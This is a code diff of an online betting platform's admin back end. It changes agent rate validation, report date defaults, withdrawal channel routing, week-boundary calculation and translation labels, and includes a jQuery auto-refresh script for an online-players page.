<div class="alert-footer">
|
||||
<span onclick="hideBetDetail()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
var b = {$betIdArrJson};
|
||||
var bt = {$betIdDtArrJson};
|
||||
autoRefresh();
|
||||
function autoRefresh(){
|
||||
setInterval(function(){
|
||||
var username = $('#username').val();
|
||||
var table_id = $('#table_id').val();
|
||||
var is_under = $('.is_under:checked').val();
|
||||
$.ajax({
|
||||
url:'/player/user_online_autoRefresh',
|
||||
data:{username:username,table_id:table_id,is_under:is_under},
|
||||
dataType:'JSON',
|
||||
type:'POST',
|
||||
success:function(data){
|
||||
// 声音
|
||||
if(data.is_new == true){
|
||||
audioShow();
|
||||
}
|
||||
if(data.user_online){
|
||||
var total = data.totalData;
|
||||
var v = data.user_online;
|
||||
b = data.betIdArr;
|
||||
bt = data.betIdDtArr;
|
||||
var str = "";
|
||||
for(var i=0; i<v.length; i++){
|
||||
if(v[i]['is_beat'] == 1){
|
||||
str += '<tr class="refreshData" style="background:red;">';
|
||||
}else{
|
||||
str += '<tr class="refreshData">';
|
||||
}
|
||||
str += '<td>'+v[i].username+'</td>';
|
||||
str += '<td>'+v[i].client+'</td>';
|
||||
str += '<td>'+v[i].last_login_ip+'</td>';
|
||||
str += '<td>'+v[i].amount+'</td>';
|
||||
str += '<td>'+v[i].win_total+'</td>';
|
||||
str += '<td>'+v[i].money+'</td>';
|
||||
str += '<td>'+v[i].bet_detail_first.bet_detail;
|
||||
if(v[i].bet_detail_count > 1){
|
||||
str += '<a href="javascript:;" onclick="showBetDetail(this)" data-username="'+v[i].username+'" data-bet_detail='+JSON.stringify(v[i].bet_detail)+'><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a></td>';
|
||||
}else{
|
||||
str += '</td>';
|
||||
}
|
||||
str += '<td><a href="javascript:;"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout('+v[i].user_id+')">强制下线</span></a> </td>';
|
||||
str += '</tr>';
|
||||
}
|
||||
str += '<tr class="refreshData">';
|
||||
str += '<th colspan="3" style="text-align: center;">统计</th>';
|
||||
str += '<th>'+total.amount+'</th>';
|
||||
str += '<th>'+total.win_total+'</th>';
|
||||
str += '<th colspan="3"></th>';
|
||||
str += '</tr>';
|
||||
|
||||
$('.refreshData').remove();
|
||||
$('.ttable').append(str);
|
||||
}
|
||||
}
|
||||
});
|
||||
},5000);
|
||||
}
|
||||
|
||||
function showBetDetail(obj){
|
||||
var username = $(obj).attr('data-username');
|
||||
var bet_detail = $(obj).attr('data-bet_detail');
|
||||
var v = JSON.parse(bet_detail);
|
||||
var str = '';
|
||||
console.log(v)
|
||||
console.log(b.indexOf(47))
|
||||
for(var i in v){
|
||||
|
||||
if(v[i]['game_id'] == 1 && b.includes(v[i]['bet_id'])){
|
||||
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
|
||||
}else if(v[i]['game_id'] == 2 && bt.includes(v[i]['bet_id'])){
|
||||
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
|
||||
}else{
|
||||
str += '<tr><td>'+ v[i]['bet_detail'] +'</td></tr>';
|
||||
}
|
||||
}
|
||||
$('#show_username').html(username);
|
||||
$('#alert_bet_detail').find('.layui-table').empty().html(str);
|
||||
$('#alert_bet_detail').show();
|
||||
}
|
||||
function hideBetDetail(){
|
||||
$('#alert_bet_detail').hide();
|
||||
}
|
||||
|
||||
// 踢人
|
||||
function logout(id){
|
||||
layer.confirm('确定强制该玩家下线吗?',function(){
|
||||
$.ajax({
|
||||
url:'/player/logout',
|
||||
data:{user_id:id},
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
success:function(data){
|
||||
layer.alert(data.msg,function(){
|
||||
location.reload();
|
||||
})
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// 新客人上线声音
|
||||
function audioShow(){
|
||||
var audio = $("#audio").get(0);
|
||||
var audioPath = '/static/console/mp3/welcome.mp3';
|
||||
$('#audio').attr('src',audioPath);
|
||||
audio.play();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Executable → Regular
Vendored
BIN
Binary file not shown.
Executable → Regular
+2
-46
@@ -565,25 +565,13 @@ class Agent Extends Common{
|
||||
if(!$user || $user['agent'] == 0){
|
||||
die(json_encode(['code'=>0,'msg'=>$lang['error_id']]));
|
||||
}
|
||||
// 顶级代理(agent_parent_id=0)无真实上级:构造一个不设限的虚拟上级,使所有"不得高于上级"封顶校验自动放行;
|
||||
// "不得低于下级"封底校验与写入逻辑保持不变(顶级代理仍受其下级最高费率约束)。
|
||||
if($parent_id <= 0){
|
||||
$agentParent = [
|
||||
'limit_low' => 0, 'limit_high' => 99999999999,
|
||||
'limit_low_tie' => 0, 'limit_high_tie' => 99999999999,
|
||||
'limit_low_pair' => 0, 'limit_high_pair' => 99999999999,
|
||||
'limit_low_nn' => 0, 'limit_high_nn' => 0,
|
||||
'agent_ximalv' => 100, 'agent_ximalv_dt' => 100,
|
||||
'agent_ximalv_nn' => 100, 'agent_ximalv_tc' => 100,
|
||||
'agent_cs' => 100, 'rebate_rate' => 100,
|
||||
'agent_parent_id' => 0,
|
||||
];
|
||||
}else{
|
||||
die(json_encode(['code'=>0,'msg'=>$lang['parent_error']]));
|
||||
}
|
||||
$agentParent = Db::name('user')->where('id',$parent_id)->find();
|
||||
if(!$agentParent || $agentParent['agent'] == 0){
|
||||
die(json_encode(['code'=>0,'msg'=>$lang['parent_error']]));
|
||||
}
|
||||
}
|
||||
if(!$nickname){
|
||||
die(json_encode(['code'=>0,'msg'=>$lang['empty_nickname']]));
|
||||
}
|
||||
@@ -694,38 +682,6 @@ class Agent Extends Common{
|
||||
die(json_encode(['code'=>0,'msg'=>$lang['rebate_cannot_lower_agent'].' '.$childMaxRebateRate.'%']));
|
||||
}
|
||||
|
||||
// —— 时序风险检测 ——
|
||||
// 洗码率/返水率/占成率在「下注未结算」期间被修改,结算(openingBet)会按新值参与代理分账,
|
||||
// 导致本局佣金与下注时预期不符。仅当上述费率确有变化、且该代理下级存在未结算注单时,要求二次确认。
|
||||
// 限红(limit_*)不参与结算、赔率(price_*)代理端只读,故不在检测范围。
|
||||
$confirm_pending = Request::instance()->post('confirm_pending');
|
||||
$rateChanged = (
|
||||
abs($agent_ximalv - (float)$user['agent_ximalv']) > 0.001 ||
|
||||
abs($agent_ximalv_dt - (float)$user['agent_ximalv_dt']) > 0.001 ||
|
||||
abs($agent_ximalv_nn - (float)$user['agent_ximalv_nn']) > 0.001 ||
|
||||
abs($agent_ximalv_tc - (float)$user['agent_ximalv_tc']) > 0.001 ||
|
||||
abs($agent_cs - (float)$user['agent_cs']) > 0.001 ||
|
||||
abs((float)$rebate_rate - (float)$user['rebate_rate']) > 0.001
|
||||
);
|
||||
if($rateChanged && !$confirm_pending){
|
||||
// bet 表位于 DB2 连接(与 Report 模块一致);下级注单路径匹配沿用全站约定的两段 LIKE。
|
||||
// create_time 限定近 1 小时,规避历史异常残留的 is_end=0 注单造成的误报。
|
||||
$pendingCount = Db::connect('DB2')->name('bet')
|
||||
->where('is_end', 0)
|
||||
->where('create_time', '>=', time() - 3600)
|
||||
->where(function($q) use ($user_id){
|
||||
$q->where('agent_parent_id_path', 'like', '%,'.$user_id.',%')
|
||||
->whereOr('agent_parent_id_path', 'like', $user_id.',%');
|
||||
})
|
||||
->count();
|
||||
if($pendingCount > 0){
|
||||
die(json_encode([
|
||||
'code' => 2,
|
||||
'pending' => $pendingCount,
|
||||
'msg' => '该代理下级当前有 '.$pendingCount.' 笔注单尚未结算。本次修改的洗码率 / 返水率 / 占成率将按新值参与这些注单的代理分账,可能使本局佣金与下注时预期不符。确定仍要立即保存吗?',
|
||||
]));
|
||||
}
|
||||
}
|
||||
|
||||
// 拼装数据创建代理
|
||||
$user_data = array();
|
||||
|
||||
Executable → Regular
+2
-2
@@ -260,13 +260,13 @@ class Login extends Controller {
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
}
|
||||
$where = array();
|
||||
|
||||
Executable → Regular
+3
-1
@@ -760,7 +760,9 @@ class Player Extends Common{
|
||||
$user_data['agent_ximalv_nn'] = $agent_ximalv_nn;
|
||||
$user_data['agent_ximalv_tc'] = $agent_ximalv_tc;
|
||||
$user_data['manager_id'] = $manager_id;
|
||||
$user_data['rebate_rate'] = $rebate_rate ?: 0;
|
||||
if ($rebate_rate){
|
||||
$user_data['rebate_rate'] = $rebate_rate;
|
||||
}
|
||||
$user_data['update_time'] = time();
|
||||
$user_data['remarks'] = $remark;
|
||||
$result = Db::name('user')->where('id',$user_id)->update($user_data);
|
||||
|
||||
Executable → Regular
+43
-70
@@ -2,7 +2,6 @@
|
||||
namespace app\agent\controller;
|
||||
use pay\Usdt;
|
||||
use pay\Ybf;
|
||||
use pay\AlinPay;
|
||||
use \think\Controller;
|
||||
use think\Lang;
|
||||
use \think\Session;
|
||||
@@ -36,17 +35,17 @@ class Report Extends Common{
|
||||
$game_id = intval(Request::instance()->get('game_id'));
|
||||
$export = intval(Request::instance()->get('export'));
|
||||
|
||||
// 转换日期时间(默认:今天08:00:00 ~ 明天07:59:59)
|
||||
// 转换日期时间(默认:今天07:00:00 ~ 明天06:59:59)
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d') . ' 07:00:00');
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 06:59:59');
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
}
|
||||
|
||||
@@ -309,14 +308,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -505,13 +504,13 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
}
|
||||
|
||||
@@ -1032,13 +1031,13 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
}
|
||||
|
||||
@@ -2054,14 +2053,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -2172,14 +2171,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -2269,14 +2268,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -2645,8 +2644,8 @@ class Report Extends Common{
|
||||
die(json_encode(['code'=>0,'msg'=>'非待审核状态无法操作!']));
|
||||
}
|
||||
|
||||
// 审核通过 - 根据提现记录的支付渠道路由
|
||||
$withdrawChannel = $withdraw['pay_channel'] ?: 'YBF';
|
||||
// 审核通过
|
||||
$withdrawChannel = "YBF";
|
||||
$withdrawResult = [];
|
||||
if($withdrawChannel == "USDT"){
|
||||
$Usdt = new Usdt();
|
||||
@@ -2666,35 +2665,13 @@ class Report Extends Common{
|
||||
'type' => 'YBF',
|
||||
'err_msg' => $res['message'],
|
||||
];
|
||||
}else if($withdrawChannel == "ALIN_VN"){
|
||||
// 越南AlinPay代付
|
||||
$ext = json_decode($withdraw['ext'], true) ?: [];
|
||||
$pay_list = config('pay_list');
|
||||
$notifyUrl = $pay_list['alinPay']['payment_notify_url'];
|
||||
|
||||
$alinPay = new AlinPay();
|
||||
$res = $alinPay->createPayment(
|
||||
$withdraw['order_no'],
|
||||
sprintf('%.2f', $withdraw['amount']),
|
||||
$ext['accountName'] ?? '',
|
||||
$ext['accountNumber'] ?? '',
|
||||
$ext['bankCode'] ?? '',
|
||||
$ext['bankName'] ?? '',
|
||||
$notifyUrl
|
||||
);
|
||||
$withdrawResult = [
|
||||
'status' => (is_array($res) && isset($res['code']) && $res['code'] == 200) ? true : false,
|
||||
'type' => 'ALIN_VN',
|
||||
'out_trade_no' => $res['data']['trade_no'] ?? '',
|
||||
'err_msg' => $res['message'] ?? '请求失败',
|
||||
];
|
||||
}
|
||||
if(empty($withdrawResult)){
|
||||
die(json_encode(['code'=>0,'msg'=>'未配置支付渠道!']));
|
||||
}
|
||||
|
||||
if($withdrawResult['status']){
|
||||
$updateData = [
|
||||
Db::name('user_withdraw')->where('id',$id)->update([
|
||||
'status' => 'AGREE',
|
||||
'type' => $withdrawResult['type'] ?? '',
|
||||
'from_address' => $withdrawResult['from_address'] ?? '',
|
||||
@@ -2703,11 +2680,7 @@ class Report Extends Common{
|
||||
'operator_id' => $user_info['id'],
|
||||
'operator_username' => $user_info['username'],
|
||||
'operator_nickname' => $user_info['nickname']
|
||||
];
|
||||
if(!empty($withdrawResult['out_trade_no'])){
|
||||
$updateData['out_trade_no'] = $withdrawResult['out_trade_no'];
|
||||
}
|
||||
Db::name('user_withdraw')->where('id',$id)->update($updateData);
|
||||
]);
|
||||
die(json_encode(['code'=>1,'msg'=>'审核通过!']));
|
||||
}else{
|
||||
Db::startTrans();
|
||||
@@ -2819,14 +2792,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -2869,13 +2842,13 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
}
|
||||
|
||||
@@ -3075,14 +3048,14 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
@@ -3168,14 +3141,14 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
@@ -3275,14 +3248,14 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
@@ -3366,14 +3339,14 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
@@ -3479,14 +3452,14 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
@@ -3574,14 +3547,14 @@ class Report Extends Common{
|
||||
if ($startDate) {
|
||||
$startTime = strtotime($startDate);
|
||||
} else {
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s', $startTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
if ($endDate) {
|
||||
$endTime = strtotime($endDate);
|
||||
} else {
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s', $endTime);
|
||||
$this->assign('get', $get);
|
||||
}
|
||||
@@ -3683,14 +3656,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -3895,14 +3868,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -3994,14 +3967,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
@@ -4100,14 +4073,14 @@ class Report Extends Common{
|
||||
if($startDate){
|
||||
$startTime = strtotime($startDate);
|
||||
}else{
|
||||
$startTime = strtotime(date('Y-m-d') . ' 08:00:00');
|
||||
$startTime = strtotime(date('Y-m-d'));
|
||||
$get['startDate'] = date('Y-m-d H:i:s',$startTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
if($endDate){
|
||||
$endTime = strtotime($endDate);
|
||||
}else{
|
||||
$endTime = strtotime(date('Y-m-d', strtotime('+1 day')) . ' 07:59:59');
|
||||
$endTime = time();
|
||||
$get['endDate'] = date('Y-m-d H:i:s',$endTime);
|
||||
$this->assign('get',$get);
|
||||
}
|
||||
|
||||
@@ -30,12 +30,12 @@ class Settle Extends Common{
|
||||
if($timeLength == 1 || $timeLength == 2){
|
||||
if($timeLength == 1){
|
||||
//上周时间
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1-7,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7-7,date("Y")));
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1-7,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7-7,date("Y")));
|
||||
}elseif($timeLength == 2){
|
||||
//本周时间
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7,date("Y")));
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")));
|
||||
}
|
||||
$startTime = strtotime($weekStart);
|
||||
$endTime = strtotime($weekEnd);
|
||||
@@ -474,12 +474,12 @@ class Settle Extends Common{
|
||||
if($timeLength == 1 || $timeLength == 2){
|
||||
if($timeLength == 1){
|
||||
//上周时间
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1-7,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7-7,date("Y")));
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1-7,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7-7,date("Y")));
|
||||
}elseif($timeLength == 2){
|
||||
//本周时间
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7,date("Y")));
|
||||
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1,date("Y")));
|
||||
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y")));
|
||||
}
|
||||
$startTime = strtotime($weekStart);
|
||||
$endTime = strtotime($weekEnd);
|
||||
|
||||
Executable → Regular
+1
-1
@@ -301,7 +301,7 @@ return [
|
||||
'betting_money' => 'Bet money',
|
||||
'code_washing_amount' => 'Code washing amount',
|
||||
'odd_code_fee' => 'Odd code fee',
|
||||
'code_amount' => 'Rebate',
|
||||
'code_amount' => 'Code amount',
|
||||
'settled_code_amount' => 'Settled code amount',
|
||||
'unsettled_code_amount' => 'Unsettled code amount',
|
||||
'unsettled_rebate_amount' => 'Unsettled rebate amount',
|
||||
|
||||
Executable → Regular
+1
-1
@@ -301,7 +301,7 @@ return [
|
||||
'betting_money' => '下注金额',
|
||||
'code_washing_amount' => '洗码量',
|
||||
'odd_code_fee' => '注单码费',
|
||||
'code_amount' => '码粮',
|
||||
'code_amount' => '码量',
|
||||
'settled_code_amount' => '已结码量',
|
||||
'unsettled_code_amount' => '未结码量',
|
||||
'unsettled_rebate_amount' => '未结返水',
|
||||
|
||||
Executable → Regular
+1
-1
@@ -301,7 +301,7 @@ return [
|
||||
'betting_money' => '下注金額',
|
||||
'code_washing_amount' => '洗碼量',
|
||||
'odd_code_fee' => '注單碼費',
|
||||
'code_amount' => '碼糧',
|
||||
'code_amount' => '碼量',
|
||||
'settled_code_amount' => '已結碼量',
|
||||
'unsettled_code_amount' => '未結碼量',
|
||||
'unsettled_rebate_amount' => '未結返水',
|
||||
|
||||
